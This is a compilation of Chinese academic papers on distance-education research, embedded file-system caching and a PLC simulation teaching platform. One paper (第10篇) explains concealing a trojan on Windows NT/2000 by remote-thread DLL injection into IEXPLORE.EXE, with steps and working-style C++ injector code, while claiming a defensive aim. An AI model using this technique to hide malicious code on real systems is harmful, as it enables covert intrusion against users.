②研究方法研究方法对于某些研究报告来说是必不可少的,在采用调查法的报告中尤显重要。若采用问卷调查,研究者必须在报告中表明调查的样本,抽样的技术,问卷的项目,问卷的可靠性和可行性,先行性研究和主要研究等等细节。例如,某研究者在广州调查学生的职业期望与其家庭背景的关系,问卷的项目之一是让学生填其父母的职业,有些学生由于父母下岗感到没面子,于是对问卷产生反感,故意乱填,结果也必然失去了信度。又如采用访谈的研究方法,研究者必须在报告中介绍访谈的具体问题和访谈环境,采用的是何种方式,如果研究者采用了“诱导性”的问题,那么得到的结果必然也就失去信度。因此,对于研究报告,方法论一节对论文的质量保证是至关重要的。

③摘要文章摘要的好处是可以节约读者的时间。读者可以根据摘要迅速发现文章的主题、方法论、主要发现和论点、应用价值,从而决定读与不读、精读与泛读。尤其对重要的,或篇幅较长的研究论文来说,摘要是必不可少的。

表七:论文研究领域的比较

主题研究领域中国杂志英美杂志1~5开放与远程教育的一般原理40.2%24.5%6管理和规划6.0%5.7%7~10学习者和学习7.8%22.7%11学习材料的设计和发展5.3%7.5%12、13教育技术和媒体15.3%17%14教育经济学0.7%0%15师资培训3.0%1.9%16质量保证13.9%11.3%17~20其他1.5%0%

2.关于研究方法

我国的论文相当一部分是采用描述法,这类文章大多是在图书馆或办公室做出来的,它有助于各抒己见,但其观点往往与实践脱节。从研究的角度来讲,调查法应该是教育研究的核心,英美的论文中采用调查法的数量显著地高于我国(55%:1.98%)。一般来说,高质量的教育研究不是在图书馆里做出来的,高水平的教育论文也不是在办公室中“苦思冥想”写出来的。文献阅读和“苦思冥想”只是研究前的必要准备,而主体应该到实践中去调查、去访问、去观察,以获得大量的定性资料和定量数据,再经过科学的分析和研究,这样才有可能写出高水平的对实践有指导作用的或有应用价值的论文。

从我国目前的论文来看,定量数据分析的水平相当低,目前仍停留在百分比的低水平上。尽管我国许多研究人员都学过统计学,但很少有作者能熟练地把这些技术应用于数据分析中。另外,目前英美的教育研究越来越注重多种研究方法的结合,尤其是定性和定量方法的结合,以发扬每种方法的长处而弥补每种方法的不足,这是我们应该关注的。

3.关于研究的主题

本研究发现,我国的开放与远程教育研究在某些领域,尤其在一些重要领域仍比较薄弱。一是对远程学习者的研究,如学习者的认知方式,学习方式,学习模式等等,因为这类研究将直接有助于科学地进行教学设计和有效地呈现学习材料。二是学习材料的设计和开发。良好的学习材料的设计是开放与远程教育成功的关键因素之一。由于学生主要是通过自学,学习材料的设计应同传统教材有很大区别,而这一领域的研究与开发则是我国目前的一个弱项,应引起研究者的注意。三是学生的支持服务。我国的学生习惯于“教师为中心”的传统教学模式,如何使远程学习者适应全新的学习环境,这是一项重要的研究课题。

另外,有一些领域是我国和英美国家共同需要重视的:一是导修老师的培训,即如何保证兼职导修老师的辅导质量;二是教育经济学,例如,各国都在试行网上学习,我们应该分析为网上教学投入的人、财、物等,比较网上学习和其他媒体学习的效果,由此确定是否值得进一步推广,或探讨推广的范围和进度,这就需要专业研究人员从经济学的角度作深入研究。

参考文献

1.《中国电大教育》(月刊),中央广播电视大学主办,1997和1998年全刊

2.《开放教育研究》(双月刊),上海电视大学主办,1997和1998年全刊

3.《现代远距离教育》(季刊),黑龙江广播电视大学主办,1997和1998年全刊

4.《OpenLearning》(Feb.,July,November),OpenUniversityinGreatBritain,1997&1998

第10篇

摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

关键字进程线程木马动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。

1基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3实施步骤

1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2)用VirtualAllocEx()函数分配远程进程地址空间中的

内存。

3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4)拷贝到步骤二已经分配的内存中。

5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6)用CreateRemoteThread()函数在远程进程中创建一个线程。

7)它调用正确的LoadlibraryA()函数。

8)为它传递步骤二中分配的内存地址。

4具体实例

下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//该头文件包涵了进程操作的API函数

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隐藏的DLL文件名

HANDLEhProcessSnap=NULL;//进程快照句柄

HANDLEhRemoteProcess;//远程进程句柄

LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放远程线程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//获取第一个进程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主进程,以IEXPLORE.EXE为例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取第一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假设hide.dll是待隐藏的进程

intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5结束语

进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

参考文献

第11篇

关键词:高速缓存管理方案;回写;最久未使用页面替换算法;块设备

中图分类号:TP311文献标识码:A 文章编号:1009-3044(2008)14-20000-00

Embedded System Cache Management

ZHONG Rui1,FANG Wen-kai2

(1.School of Electronics Science and Engeering, Southeast University, Nanjing 210096,China;2.School of Integrated Circuit, Southeast University,Nanjing 210096,China)

Abstract: A new file cache management based on Least Recently Used (LRU) was bring forward and realized in this paper. The impact of this cache management on embedded system files is proved to be positive. NorFlash as an example, after the use of this cache management, the write speed of mass and little files upgrade 20%, and read speed upgrade from 30% to 40%. To large-capacity data transmission, proper adjustment of cache capacity, we can also makes writing speed upgrade 2% and read rate increase of around 10%.

Key words: Cache Management; Write-back; Least Recently Used; Block device

1 论文研究背景

嵌入式系统的运行环境远不同于PC机;嵌入式系统的存储介质多为块设备,其存储原理与磁盘设备差异很大;桌面文件系统为提高读写性能尽可能使用较大的文件缓存,嵌入式系统必须针对资源限制设计特定的缓存管理单元,并尽量适应于块设备的操作特点。

目前,嵌入式领域有多种文件系统可供选择:RomFS是只读文件系统,可以放在ROM空间,也可以放在系统RAM中,通常用作嵌入式Linux的根文件系统;JFFS/JFFS2是专为Flash设计的日志文件系统,它们提供了很好的掉电保护措施,并能平衡读写Flash设备,但是它们需要占用大量RAM空间,在文件系统接近满时,它们速度会变得很慢,同时启动的时候需要扫描日志节点,不太适合大容量存储应用;Yaffs是专为NandFlash设计的日志文件系统,其针对NandFlash访问的特点进行优化(如块的读写、坏块管理等),但欠缺通用性;Ext2是Linux下使用的文件系统,具有支持存储容量大,访问速度快等优点,但是对Flash存储设备支持不好;FAT文件系统是目前桌面系统中使用最广泛的文件系统,其文件管理方便、通用性好,但是同样不能直接用于嵌入式应用,它的缓存管理单元主要针对pc机的磁盘管理,运用于块存储设备并不能有效提升文件的读写速度。我们由此进行了专项开发。东南大学国家专用集成电路工程技术中心针对这一需求进行了将FAT文件系统运用到嵌入式系统的研究工作。

2 高速缓存管理原理

高速缓冲存储器(Cache),是一种加速内存或磁盘存取的技术,主要用来提升系统响应的速度。其作用的原理在于使用较快速的存储装置保留一份从慢速存储装置中所读取的数据,当需要再从较慢的存储体中读写数据时,Cache能够使读写的动作先在快速的装置上完成。这样可以使得系统的响应较为快速。

这种技术如果仅仅使用在读数据这一方面,则没有任何问题。如果还要用在写上,即写入Cache中的数据不立即回写真正的存储体,则一旦电源中断或出现其它意外会导致数据的流失。而每次都将数据写入真正的存储体,会使Cache只能发挥加速读取的功能,而不能加速写入。这样的情况使Cache的写入方式分为两类:

(1)直写式(Write-through):每次遇到写入Cache的同时,也把数据写入真正的存储设备,以保证Cache和真正的存储设备中的单元数据的一致性。直写式系统简单可靠,但每次更新Cache时都要对真正的存储设备写入,因此速度受到了影响。

(2)回写式(Write-back):数据一般只写到Cache,这样可能出现Cache中的数据得到更新而存储体中的数据不变的情况。但此时可在Cache中设一标志表示数据是否需要回写,等系统有空或这部分Cache需要存储其它数据或等到一定的时间后,再将数据写回存储设备,这种做法是用承担一点风险来换取效率的。

在嵌入式文件系统中,同样需要使用高速缓冲技术来提升文件系统的性能。由于嵌入式系统的资源有限,同时针对嵌入式系统块设备的存储特点(块读、块写),需要设计针对嵌入式应用特点的高速缓存管理。本论文设计了一种针对嵌入式应用特点的高速缓存管理单元,其具有如下特点:(1)软件模块化设计,提供统一接口,便于移植到不同平台;(2)采用回写方式提升写入效率,同时具有一定的掉电保护措施;(3)设计最久未使用页面替换算法(LRU)提升Cache系统的命中率;(4)以块设备的块大小为缓冲单元,实现对块设备读写的优化;下面将具体介绍本论文设计的高速缓存管理模块的实现方法。

3 实现代码

3.1 文件系统Cache的主数据结构

本论文的Cache管理系统将Cache设计成保存在内存中的一个结构体数组。数组的每一个元素缓冲了存储设备的一个簇的数据,同时还保存了为便于操作的其他必要信息。Cache结构定义的代码清单如List 3.1所示:

List 3.1 文件系统Cache的主要数据结构

typedef struct _Disk_Cache{

U8DriveNo;//设备号,

U8 Flag;//状态

U16RW_ID;//读/写标志

U32CluNo; //缓冲的簇号

U8 buf[DISK_CACHE_SIZE]; //缓冲//数据区

}DISK_CACHE;

Cache的大小可以采用静态分配的方法,其代码见List 3.2。

List 3.2 Cache存储大小分配

DISK_CACHE DiskCache[MAX_DISK_CACHE] //Cache大小

其中MAX_DISK_CACHE的值,如果太小则Cache性能提升不明显,太大则占据大量系统内存资源。在实际应用中,需要根据系统资源和性能要求作出合理的折衷。

3.2 Cache管理的主要操作

本论文设计的Cache管理可以作为一个独立的Cache管理模块,与文件系统本身有一定的独立性。Cache管理模块对文件系统提供了统一的API接口。表1为所使用API的列表,本节将介绍这些函数的实现过程。

3.2.1 初始化操作

在使用Cache前必须要对各Cache元素进行初始化操作. Cache初始化是调用函数CacheInit()完成的。函数CacheInit()的代码如List 3.3所示。代码很简单,仅仅是把Cache数组所有元素的所有成员赋一定的初值。

3.2.2 打开存储设备的簇

在读写存储设备的扇区之前必须打开它,这时通过调用函数OpenClu()实现的。函数OpenClu()有两个参数,其中DriverNo指出需要操作的设备号,index指出在指定设备上需要操作的簇号。此函数将返回一个指针指向簇数据的读写位置。如果返回值为NULL,则表示簇打开失败。函数原型如List 3.4所示。

List 3.4 函数OpenClu()的原型

U8 * OpenClu(U8 DriveNo, U32 index)

3.2.3 分配Cache项

在前面的打开簇函数中使用到了为簇分配Cache项函数GetCache(),该函数是Cache管理的核心,它提供了一种Cache页面替换算法。

所谓Cache页面替换算法,就是当Cache空间已满时,文件系统必须从Cache中选择一项删除掉以便为即将被调入的数据让出空间。被删除的项将根据被修改与否决定是否直接从Cache删除还是回写如存储设备。

Cache的效能依算法的不同有好坏之分,估量的单位通常使用命中率。很明显把最不常使用的页面替换出缓存是提高命中率的好方法。为了找出最不常使用的缓存项替换掉,人们已经在理论和实践上对页面替换算法进行了深入的研究。

目前研究的页面替换算法主要有:最近未使用页面替换算法、先进先出页面替换算法、时钟页面替换算法、最久未使用页面替换算法等。

本论文使用的是最久未使用页面替换算法(LRU)。该算法是基于这样的设想:很久没有使用的数据簇可能在未来较长一段时间内也不会被使用。因此LRU算法的替换策略是替换那些最久未被使用的数据簇。

本论文分配Cache项函数GetCache()核心的工作就是使用LRU算法找出可以被替换的数据簇。该函数结合函数OpenClu()中每次访问Cache都把所有Cache元素RW_ID成员加1的功能,找出RW_ID参数值最大的一个Cache元素(可能有多个,选择最先找到的),将其回写存储设备(如果需要的话)并替换出去。

List 3.5 函数GetCache()

U16 GetCache(void){

U16 Max;

U16 i,j;

Max = 0;

j = 0;

for(i = 0; i

if(Max

Max = DiskCache[i].RW_ID;

j = i;

}

if(Max == (U16)(-1)){

break;//如Max已是最大值,

//则不要继续搜索

}

}

if(j

{

if(DiskCache[j].DriveNo !=

EMPTY_DRIVE){(1)

if((DiskCache[j].Flag&

CACHE_WRITE)!=0) {

CacheWriteBack(j);

}

}

}

return j;}

List 3.5(1)中DiskCache[j]即为要替换的Cache数组元素。CacheWriteBack()函数实现了将缓冲数据写回物理存储设备的功能。Cache管理系统中,此部分需要跟物理设备操作有关,移植的时候需要加以改写。

3.2.4 从设备读数据到Cache

函数OpenClu()仅仅为设备的簇分配了Cache,如果程序需要事先把簇中的数据读出来,需要调用函数ReadClu()。函数ReadClu()的参数同样是需要读取簇的设备号和设备内簇号。此函数将返回一个状态码,其中RETURN_OK表示成功,SECTOR_READ_ERR表示底层驱动读操作失败,NOT_FIND_DISK表明没有找到指定的设备等。

3.2.5 置写标志函数

根据前面对于Cache数据结构的介绍,需要回写的Cache块的Flag元素需标记为已被修改。函数WriteClu()就是完成这样的功能。它有两个参数,设备号和要操作的设备簇号,该函数首先根据设备号和簇号查找Cache数组DiskCache[],找到设备簇在Cache中的缓存数组元素,然后将该元素的Flag标志置为CACHE_WRITE(或操作)。

3.2.6 回写存储设备

函数CacheWriteBack()实现改动数据的回写。该函数只有一个参数index,为Cache数组的下标号,即根据下标号,读取指定Cache项的设局结构,根据DriveNo成员决定的设备号,读取设备的DROBJ结构(在其它文件系统中可能不同)以获取操作设备的信息,然后将Cache的Flag标记置回无需回写状态并调用设备驱动完成回写操作。

3.3 Cache管理的掉电处理

本论文采用回写式的Cache管理。前面提到这种方法为提升性能而承担了一定的风险,即有可能在Cache中数据尚未回写时发生了掉电等异常情况导致系统失去响应,这样新写入的数据将丢失,之前的写入操作失败。为了在一定程度上解决此问题,本论文采用如下规则:(1)在设备关闭时Cache中所有与之相关的项必须回写;(2)在系统空闲的时候,可以运行一个优先级较低的回写任务,该任务完成查找Cache数组中所有成员标志为已改写的元素,将其回写。

另外,文件系统掉电保护还包括FAT表与文件数据一致性的问题,即在文件数据操作和FAT表更新操作之间发生掉电等异常,导致文件数据与FAT表数据不一致。对于此问题的处理,本论文采用如下的规则:

(1)有修改完FAT表后,才允许删除对应簇的无效数据;(2)应用程序调用了一个文件操作接口之后返回之前,必须完成FAT表的更新以及FAT表的备份;(3)文件的新数据在写入物理存储设备之后,才允许修改FAT表。

采用上述措施后,即使写入某簇的时候发生错误,也可以采取错误处理进行补救,或者直接返回给上层的应用,或者重新申请一个新的簇。总之,不至于在FAT表上出现不合事实的错误。

3.4 Cache管理在文件系统中的应用

上述Cache管理操作是以文件簇为单位的,而文件系统最终通过设备驱动以簇为单位操作设备上的数据的,因此只需对设备驱动作一定的修改,在驱动中调用表3.1中的Cache管理API函数就可以实现用上述Cache管理方法管理设备上的数据了。

以NorFlash驱动为例,介绍Cache管理的添加。根据2.5.1节关于驱动的介绍可知NorFlash驱动中与存储介质进行数据交互的函数是nor_rd_io(),需要对此函数进行改写。为便于说明,将此函数的原型列如下:

int nor_rd_io(U16 driveno, U32 page, void *buffer, U16 count, int do_read)

函数中driveno为操作扇区号,page为操作的簇号,buffer为读写数据的缓冲区,count为操作的次数,do_read为读写的标志(1为读,0为写)。

首先根据函数的读写标志确定操作类型。如果是读操作,则先调用函数CluinCache()判断要读取的文件簇是否在Cache中已经缓存,如已经缓存,则根据缓存的数组下标,直接读Cache项buf[]中存储的数据到buffer中;若不在缓存中,则通过替换算法在Cache中找到一项用于替换,调用NorFlash驱动,将设备上的数据同时写入buffer和Cache项的buf[]元素中,以便于下次访问使用方便。对于写操作,可以首先判断所写的簇是否在Cache中,如在,则更新Cache项中buf[]内容;如不在,则根据替换算法找到新的Cache项,并将buffer写入新Cache项中buf[]。写操作采用的是Cache回写策略,此时并没有回写物理设备,回写物理设备的操作是在Cache回写函数中完成的。

上述高速缓存的使用,有效地减少了设备的存取次数,提高了系统的通过能力并降低平均响应时间,特别是在做数据传输时,数据停留在高速缓存中,直到系统认为适当的时候才进行数据传输。另外,最久未使用页面替换算法(LRU)的使用大大提高了Cache系统的命中率,提高了文件系统的读写性能。

4 测试与评估

4.1 测试平台

本调试平台由基于SEP3203的实验开发板,JTAG仿真器和运行于主机上的集成开发环境(IDE)组成。将开发板通过JTAG仿真器连接到PC机上的集成调试环境(IDE)软件平台,在IDE中统一完成汇编/C 语言的编辑、编译、连接。IDE选择ARM 公司的开发软件(SDT2.5、ADS1.2),利用处理机的Embedded-ICE 性能,通过JTAG 接口实现实时的仿真调试。使用ARM ADS,并通过JTAG仿真器,就可以实现针对ARM处理器开发板的板极调试。目前ARM ADS的最新版本为1.2。本论文使用ADS的集成开发环境CodeWarrior IDE作为代码编译的工具,运用ARM扩展调试器AXD进行代码的调试和结果观察。

为了全面测试加上Cache管理模块后文件系统性能的提升,现以NorFlash的读写为例,将测试过程分为如下三步骤:

4.1.1 小文件写入测试

将Cache数组的元素参数MAX_DISK_CACHE设为20,根据第三章介绍的文件系统API函数,在设备上建立10个文件,每个文件中写入512字节的任意数据,写完之后关闭上述文件。测试整个过程的完成时间。将文件数目增加到20,文件大小增加到1024字节,重复测试得下表所示结果。

未使用Cache管理系统的情况下,重复上述测试过程结果如下。

通过比较两次测试的结果可知,采用回写式Cache管理的文件系统在写入操作时减少了对存储设备的访问次数,大大提升了对多次、小文件的写入速度。上述两表中对于写入相同文件数目而文件大小不同情况下,写入速度差别并不大。这是因为文件大小都没有超过NorFlash操作的基本单位――块。

4.1.2 小文件读出测试

对于上面创建的文件再调用文件系统API函数,测试文件的读出速度。测试分两种情况。首先,在写入后立即读出,此时数据仍在Cache中,可以作为使用Cache情况下读出速度的测试;然后,将设备掉电,Cache中数据清除,再测量读出时间,此时可以作为未使用Cache下的读速度。按照这样的测试过程,得到如下两表。

根据上面两表结果可以看出在使用Cache和未使用Cache的情况下,小文件的读出速度提高明显,约有30%-40%的提升。

4.1.3 大容量数据的读写测试

在Flash上只建立一个文件,向文件中分别写入大小不等的数据,测试文件的写入速度如下表所示。

从上表可以看出,当写入的容量较大时,写入速度提升的并不明显。这是因为当写入的数据比Cache的容量大的多时,写入数据Cache的缓冲作用将不大,数据近似地等价于是直接地写入物理设备。测试的结果与理论分析相吻合。

将写入的大容量数据进行读出测试,测试的结果如表7所示。

可见读出与Cache容量相差越大的数据,读速度差别越小。从理论上分析可知,Cache中不能够为大容量的数据缓存,每次读取数据时Cache的命中率很低,均须访问实际物理设备,因而读速度提升不明显。

实际应用中,应该首先知道系统可供文件系统使用的内存大小,根据可用内存情况设置高速缓存的大小。同时还应该知道,应用中需要经常传输文件的大小,如容量较小,则缓存单元可选用块的大小,如需要传输的文件都很大,也可将数块作为基本缓冲单元。总之,实际应用中,可以根据需要合理定制缓存参数,最终达到性能和资源消耗的较好折衷。

5 结束语

本文介绍了一种针对嵌入式应用的高速缓存管理方案。该高速缓存管理具有模块化、易于移植的特点,且采用了最久未使用页面替换算法(LRU)作为缓存替换策略,方法简洁、资源占有率低且具有较高的缓存命中率,同时该缓存管理还具有一定的掉电保护措施。经实践测试本方案能有效的提升嵌入式系统的读写速度。

参考文献:

[1] 卓越. FAT文件系统在嵌入式块设备系统中的优化[D].东南大学,2007.

[2] 硬盘FAT文件系统原理的详细分析[DB/OL]. /.

[3] Microsoft Crop. FAT32 File System Specification, 2000.

[4] 汤铮.基于嵌入式技术的电力装置文件系统及逻辑组态的研究[D].南京 东南大学电力系统及其自动化系,2005.

[5] 孙涛. 基于ARM的嵌入式闪存文件系统的研究与实践[D].湖北工业大学计算机系,2005.

[6] 赵俊才.DOS文件系统在Flash存储介质上的实现[D].中国科学院计算机计数研究所,1999.

[7] 张延虎.嵌入式设备中文件系统的研究与实现[D].北京科技大学控制理论与控制工程系,2001.

[8] 冯福香.LINUX文件系统的性能、可扩展性和缓冲技术研究[D].南京大学软工程系,2004.

[9] Bart Broekman,Edwin Notenboom(美) .嵌入式软件测试[M].电子工业出版社,2004.

第12篇

关键词:测试技术;仿真实验;PLC;InTouch;教学

中图分类号:G642 文献标志码:A 文章编号:1674-9324(2013)38-0248-03

《测试技术与信号分析》课程是高等院校机械类专业基础课。而在高等院校中,相对于理论教学,实验室的建设则明显滞后于学科建设的步法,因而造成理论教学和实验教学相脱节的现象。本文根据课程的教学内容与特点,设计开发了测试技术仿真实验教学平台,通过可视化仿真软件将教学内容进行再现,给学生以直观、形象的认识。这种教学方式便于灵活安排教学和实验内容,达到提高授课质量、培养学生综合能力的目的。

一、仿真实验的内容与设计

测试技术课程涉及的知识面广,学科跨度大。经过广泛调研,本仿真实验平台以过程控制系统中的液位、温度、压力与流量四个物理量作为测试与控制的目标,在结构上则采用模块化设计,安排在同一个系统中。要求仿真实验不但能对各个模块的物理量进行实时测试与监控,而且还具有目标值设定、参数调整及曲线绘制等功能。在仿真实验的实现上,通过建立各模块回路的模型,利用PLC对控制系统进行软、硬件设计,并基于InTouch开发仿真软件,实现实验过程的实时监控。

二、实验模型的建立

根据仿真实验的内容与要求,这里采用机理法建立整个测试控制系统的模型。如图1所示,实验系统采用双泵源,其中一个为液位、压力和流量控制回路提供能源,另外一个为温度控制回路的提供能源,且每个泵都有低压短路、失压和过载保护。仿真实验选用的介质为水,12个电磁阀负责控制液流的通断。在液位、压力、流量回路中安有电动调节阀,控制系统会根据设定值和传感器的测量值自动调节阀的开度进行实时控制。下面以液位仿真实验为例说明各子系统的模型结构和控制过程。

1.模型结构。液位控制子系统模型结构如图2所示。液位控制实验开始前,先将手动阀调节到一定开度,液位子系统开始运行时,电磁阀1-3自动打开,泵将水从下水槽抽到上水槽中。上水槽安有液位传感器,电动调节阀根据传感器的反馈,调节阀的开度,对上水槽的液位进行控制。

2.控制方框图。为了使液位快速稳定在目标值,控制系统采用PLC通过PID方法来实现。如图3所示,液位控制子系统是一个闭环系统,通过PLC的PID模块,调节阀的开度来控制电动阀的流量,从而改变液位的高度,当液位传感器检测到液位实际值,将其反馈给PLC,从而达到控制上水槽液位平衡的目的。

同理,流量、温度和压力子系统也采用相同的原理和方法进行建模与控制。

三、仿真实验的实时监控

为了方便教学,给学生建立直观、形象的认识,仿真实验开发了基于InTouch的软件平台。InTouch是Wonderware公司的一种工业自动化组态监控软件,它能高效、快捷地配置用户的应用程序。

1.InTouch与PLC的通讯。当上位机与PLC通信时,需要分别在InTouch、OPCLink、PC access中进行设定。本实验选用西门子公司的S7-200型PLC。首先,在InTouch中设定访问名S7-200,并将标记名设定为I/O型。然后启动InTouch自带的IO server--OPCLink工具,并选择西门子的PC access作为OPC server。在PC access中设定的项目名要与InTouch中的设定一致。设定完成后,在PC access左边窗口中显示与上位机对应的项目名,右边窗口建立上位机于下位机对应地址的联系,如图4所示。这时,InTouch与S7-200完成通讯,可以对实验进行实时监控。

2.仿真软件的开发与应用。图5所示为本仿真实验上位机监控的主界面,在教学中可以根据需要选择实验内容。画面左侧,是仿真实验的整体系统结构图,右侧是四个实验系统的缩略图,单击其任意一个画面就可进入相应的实验界面。如图6所示,在液位检测控制界面中,可以对当前的液位子系统的状态进行监控。图的左侧是实时监控画面,右上方为参数设定区,包括液位高度的设定及PID调节器中增益值、采样时间、积分时间与微分时间的设定,右下方是液位曲线显示区。当设定好相关初值后,点单击“运行”按钮,左侧结构图能动态显示液流流动过程,此时图中的电磁阀由红色变为绿色,这表示PLC已自动打开相应的电磁阀,液位曲线则表示液位值随时间变化的值。

在液位监控界面,点击“历史趋势”按钮,进入“历史趋势曲线”界面,可以查看和分析实验曲线的历史过程。在实验操作过程中,为了接近实际生产系统,界面右上角设置了报警灯,对操作过程中泵过载等问题进行报警显示。

《测试技术与信号分析》可视化仿真实验平台是改善该课程教学环境的重要手段。这种动态仿真实验不但可以灵活安排在课堂教学中,丰富教学内容,有效改善理论教学和实验教学相脱节的现状,弥补实验设备和实验教学环节的不足,而且能将枯燥、抽象的知识点变得生动、形象,有效激发学生的学习兴趣,提高教学和学习效率,取得较好的教学效果。

参考文献:

[1]杨三青,王仁明,曾庆山.过程控制[M].武汉:华中科技大学出版社,2008.

